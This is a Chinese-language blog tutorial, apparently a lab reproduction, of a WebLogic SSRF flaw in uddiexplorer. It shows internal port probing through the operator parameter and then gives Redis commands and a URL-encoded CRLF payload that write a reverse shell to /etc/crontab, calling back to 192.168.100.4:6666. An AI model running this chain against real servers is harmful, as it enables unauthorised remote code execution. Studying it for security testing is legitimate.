Weblogic SSRF漏洞漏洞复现

 

访问http://192.168.43.8:7001/uddiexplorer/,无需登录即可查看 uddiexplorer 应用:

 

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了:

 

在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息:

 

将operator参数替换为IP:PORT形式的值,当该值为可访问的端口时将会得到错误,一般是返回 “404 error code",如下图所示:

修改为一个不存在的端口,将会返回 “could not connect over HTTP to server”,如下图所示:

 

如果访问的非 http 协议,则会返回 “did not have a valid SOAP content-type”,如下图所示:

 

以上访问http://172.22.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务,我们可以通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址:

以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*),已经发现172.22.0.2:6379可以连通。

接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab(这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令):

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/192.168.100.4/6666 0>&1'\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

Save

URL编码

制定一个要写入的文件test(这里换行为%0A%0D)

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F192.168.100.4%2F6666%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0ASave%0D%0A%0D%0Aaaa

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值